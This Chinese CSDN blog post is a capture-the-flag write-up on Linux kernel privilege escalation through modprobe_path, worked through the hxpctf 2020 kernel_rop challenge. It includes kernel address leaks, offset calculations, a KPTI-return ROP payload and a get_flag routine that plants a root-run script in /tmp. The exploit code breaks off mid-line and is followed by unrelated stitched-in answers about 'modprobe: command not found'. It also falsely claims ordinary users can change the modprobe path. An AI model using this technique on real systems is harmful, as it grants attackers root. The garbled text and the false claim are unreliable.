基于modprobe_path的内核提权方法

本文介绍了Linux内核中的modprobe_path利用方法,通过改变modprobe_path的路径实现内核提权。内容包括modprobe的用途、攻击前提、利用流程,以及在hxpctf 2020 kernel_rop题目中的具体应用,涉及信息收集、溢出利用和ROP链构造等技术细节。
摘要由CSDN通过智能技术生成

什么是modprobe?
在这里插入图片描述

这玩意就是用于在Linux内核中添加一个可加载的内核模块,或者从内核中移除一个可加载的内核模块,它是我们在Linux内核中安装或卸载新模块时都要执行的一个程序。该程序的路径是一个内核全局变量,默认为/sbin/modprobe,我们可以通过运行以下命令来查看该路径:

cat /proc/sys/kernel/modprobe

在这里插入图片描述
这个路径是可写的,普通用户也是可以更改它的
而当内核运行一个错误格式的文件(或未知文件类型的文件)的时候,也会调用这个 modprobe_path所指向的程序。如果我们将这个字符串指向我们自己的sh文件 ,并使用 system或 execve 去执行一个未知文件类型的错误文件,那么在发生错误的时候就可以执行我们自己的二进制文件了。其调用流程如下

do_execve()->do_execveat_common()->bprm_execve()->exec_binprm()
->search_binary_handler()->request_module()->call_usermodehelper()

利用手法有一些前提条件:

  • 知道modprobe_path的地址
  • 知道kpti_trampoline的地址(用来返回用户态)
  • 能够任意地址写

接下来将以hxpctf 2020 kernel_rop这道题为例来介绍这种攻击手法

本题ko非常简单,直接给出了大范围的读写溢出,首先是信息收集,利用大范围的读溢出,拿到栈上的敏感数据,如cookie和image_base

cookie好说,直接读就行,image_base如何拿?

修改启动脚本,将uid从1000修改为0,方便我们调试,然后将栈上数据打印出来看看:
在这里插入图片描述

我们想要的image_base可以在/proc/kallsyms中的startup_64看到:

/ # cat /proc/kallsyms | grep startup_64
ffffffffb1400000 T startup_64
ffffffffb1400030 T secondary_startup_64
ffffffffb14001f0 T __startup_64

可以看到在第38号数据那里有一个距离startup_64固定偏移0xa157的数据
所以image_base可以通过leak[38]-0xa157来得到。

在这里插入图片描述

然后利用找到的image_base得到kpti_trampoline的地址:

/ # cat /proc/kallsyms  | grep swapgs_restore_regs_and_return_to_usermode
ffffffff93c00f10 T swapgs_restore_regs_and_return_to_usermode

计算出偏移:
0xffffffff93c00f10-0xffffffff93a00000=0x200f10

得到modprobe_path的地址

/ # cat /proc/kallsyms  | grep modprobe_path
ffffffff94a61820 D modprobe_path

计算出偏移:
0xffffffff94a61820-0xffffffff93a00000=0x1061820

对于kpti_trampoline的利用,要注意有两次多余的pop,其rop链非常简洁:

payload[off++] = kpti_trampoline;
payload[off++] = 0x0;        //dummy rax
payload[off++] = 0x0;        //dummy rdi
payload[off++] = user_rip;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;

所以这里我们的思路就完整了,首先利用越界读泄露cookie和image_base,然后利用image_base得到kpti_trampoline和modprobe_path的地址,然后用越界写布置rop链,链子上要注意cookie正确,用gadget完成修改modprobe_path,执行get_flag函数,最后通过kpti_trampoline返回用户态。

get_flag函数中我们要写什么东西呢,现在modprobe_path已经修改成/tmp/x了,所以我们自然是要去创建这个文件,写入shell脚本,然后写一个系统不认识的文件,从而触发modprobe_path执行/tmp/x。

get_flag:

void get_flag(void){
   
    puts("[*] Returned to userland, setting up for fake modprobe");
    system("echo '#!/bin/sh\ncp /dev/sda /tmp/flag\nchmod 777 /tmp/flag' > /tmp/x");
    system("chmod +x /tmp/x");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
    system("chmod +x /tmp/dummy");
    puts
### 回答1: 如果在使用sshfs命令挂载远程目录时出现了`modprobe: command not found`的错误提示,说明当前系统没有安装`modprobe`命令。`modprobe`是Linux系统中用于管理内核模块的命令,需要安装相应的软件包才能使用。可以按照以下步骤进行处理: 1. 确认系统中是否已经安装了`kmod`软件包: ``` sudo apt-get update sudo apt-get install kmod ``` 2. 如果系统中已经安装了`kmod`软件包,可以使用`kmod`命令代替`modprobe`命令执行相关操作。例如,将`modprobe fuse`命令替换为`kmod load fuse`。 3. 如果系统中没有安装`kmod`软件包,可以尝试安装`module-init-tools`软件包: ``` sudo apt-get update sudo apt-get install module-init-tools ``` 安装完成后,重新运行sshfs命令进行远程目录挂载。 如果还是无法解决问题,可以尝试更新系统或者重新安装完整的Linux发行版。 ### 回答2: 提示"modprobe未找到命令"通常是在Linux系统中运行modprobe命令时出现的错误信息。 modprobe是一个用于管理Linux内核模块的命令行工具。它允许用户在运行时加载、卸载和查询内核模块。 当系统提示"modprobe未找到命令"时,可能有以下几个原因: 1. modprobe命令不存在于系统路径中:这可能是因为modprobe命令所在的目录没有被添加到系统的环境变量中。可以通过使用命令"export PATH=$PATH:/usr/sbin"将modprobe命令所在的目录添加到环境变量中。 2. modprobe命令被错误地删除:有时候,用户可能会误删除系统中的某些文件,其中包括modprobe命令。在这种情况下,可以通过重新安装相关软件包来恢复modprobe命令。 3. 用户没有足够的权限:如果当前用户的权限不够高,就可能无法执行modprobe命令。可以尝试以root用户身份运行modprobe命令,或使用sudo来提升权限。 总之,当出现"modprobe未找到命令"的错误提示时,可以根据以上几个原因进行排查和解决。 ### 回答3: 当在系统中运行 "modprobe" 命令时,出现 "未找到命令" 的提示,通常是由于以下几个原因造成的: 1. 模块未正确安装:modprobe 用于载入内核模块,如果相关的模块未正确安装,系统就无法找到对应的命令。要解决此问题,可以使用包管理器安装相关模块,或者手动编译和安装模块。 2. 环境变量未正确配置:系统在执行命令时会根据环境变量来搜索可执行文件的路径。如果环境变量中没有包含 "modprobe" 命令所在的路径,就会出现未找到命令的提示。可以通过修改或添加 PATH 环境变量来解决该问题。 3. 命令路径错误:如果命令所在路径被更改或移动到其他位置,系统将无法找到该命令。可以使用 "which modprobe" 命令来查找命令所在的路径,并确保路径正确无误。 4. 命令不存在或未安装:如果系统中没有安装 modprobe 命令,就会出现未找到命令的提示。可以通过使用包管理器安装 modprobe 命令来解决该问题。 总结来说,如果出现 "modprobe 未找到命令" 的提示,可能是因为模块未正确安装、环境变量配置错误、命令路径错误、命令不存在或未安装等原因导致。可通过安装相关模块、配置环境变量、检查命令路径或安装对应命令来解决此问题。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值